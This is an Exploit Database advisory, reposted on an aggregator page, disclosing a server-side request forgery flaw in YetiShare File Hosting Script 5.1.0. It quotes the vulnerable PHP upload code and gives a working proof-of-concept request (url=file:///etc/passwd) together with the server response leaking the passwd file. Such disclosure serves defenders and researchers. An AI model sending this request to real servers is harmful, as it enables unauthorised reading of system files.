YetiShare File Hosting Script 5.1.0 – ‘url’ Server-Side Request Forgery

• Exploit Database
• 16 阅读

• 作者： numan türle
  日期： 2021-02-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49534/

• # Title: YetiShare File Hosting Script 5.1.0 - 'url' Server-Side Request Forgery
  # Date: 09.01.2021
  # Author: Numan Türle
  # Vendor Homepage: https://mfscripts.com
  # Software Link: https://yetishare.com
  # Version: v5.1.0
  # Tested on: YetiShare - File Hosting Script v5.1.0, Php Version : 7.4
  
  
  Summary
  ---------
  YetiShare is script the file hosting. This script has remote file upload feature.
  Since sufficient security measures are not taken in the remote file upload area, 
  SSRF vulnerability available.
  
  Description
  ---------
  When a new upload request is received by the user, the following function block 
  is called first.
  app/tasks/process_remote_file_downloads.cron.php
  ------------------------------------------------
  // include plugin code
  $url = $urlDownloadData['url'];
  $params = PluginHelper::includeAppends('url_upload_handler', array(
  'url' => $url,
  'rowId' => 0,
  'urlDownloadData' => $urlDownloadData,
  )
  );
  $url = $params['url'];
  
  // start download
  $upload_handler->handleRemoteUrlUpload($url);
  ------------------------------------------------
  
  The url parameter received as input from the user in the called function blog is 
  sent to the "handleRemoteUrlUpload" function. 
  
  /Users/numan/Desktop/file-hosting-script-v5.0.0-beta/app/services/
  Uploader.class.php
  ------------------------------------------------------------------
  public function handleRemoteUrlUpload($url, $rowId = 0) {
  .....
  $remoteFileDetails = $this->getRemoteFileDetails($url);
  $remoteFilesize = (int) $remoteFileDetails['bytes'];
  if ($remoteFilesize > $this->options['max_file_size']) {
  .....ERROR MSG
  }
  else {
  // look for real filename if passed in headers
  if (strlen($remoteFileDetails['real_filename'])) {
  $realFilename = trim(current(explode(';', 
  $remoteFileDetails['real_filename'])));
  if (strlen($realFilename)) {
  $this->fileUpload->name = $realFilename;
  }
  }
  
  // try to get the file locally
  $localFile = $this->downloadRemoteFile($url, true);
  ------------------------------------------------------------------
  
  In this function that is called, the details of the file are taken first and if 
  the bytes is not larger than the max_file_size, the "downloadRemoteFile" 
  function will go to the download.
  
  ------------------------------------------------------------------
  public function getRemoteFileDetails($url) {
  .....
  $execute = curl_exec($ch);
  
  // check if any error occured
  if (!curl_errno($ch)) {
  $rs['bytes'] = (int) curl_getinfo($ch, 
  CURLINFO_CONTENT_LENGTH_DOWNLOAD);
  .....
  ------------------------------------------------------------------
  ------------------------------------------------------------------
  public function downloadRemoteFile($url, $streamResponse = false) {
  .....
  // use curl
  if (function_exists('curl_init')) {
  // get file via curl
  $fp = fopen($tmpFullPath, 'w+');
  if ($ch === null) {
  $ch = curl_init();
  }
  
  curl_setopt($ch, CURLOPT_URL, $url);
  .....
  curl_setopt($ch, CURLOPT_FILE, $fp);
  if (curl_exec($ch) === false) {
  // log error
  LogHelper::error('Failed getting url. Error: ' 
  . curl_error($ch) . ' (' . $url . ')');
  return false;
  }
  $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  curl_close($ch);
  fclose($fp);
  .....
  }
  .....
  ------------------------------------------------------------------
  
  
  
  
  POC
  ---------
  
  GET /ajax/url_upload_handler?csaKey1=CSAKEY1&csaKey2=CSAKEY2&rowId=0&url=file:///etc/passwd&folderId=-1 HTTP/1.1
  Host: target.com
  Connection: close
  Accept: */*
  Cookie: HERE_COOKIE
  
  
  
  Response
  ---------
  HTTP/1.1 200 OK
  Content-Type: text/html; charset=UTF-8
  Connection: close
  Pragma: no-cache
  Content-Length: XXX
  
  ...<script>parent.updateUrlProgress({"done":{"name":"passwd","size":2082,
  "type":"text\/plain; charset=us-ascii","error":null,"rowId":0,
  "requestUrl":"file:\/\/\/etc\/passwd","url":....
  
  
  
  ..........
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  bin:x:2:2:bin:/bin:/usr/sbin/nologin
  sys:x:3:3:sys:/dev:/usr/sbin/nologin
  sync:x:4:65534:sync:/bin:/bin/sync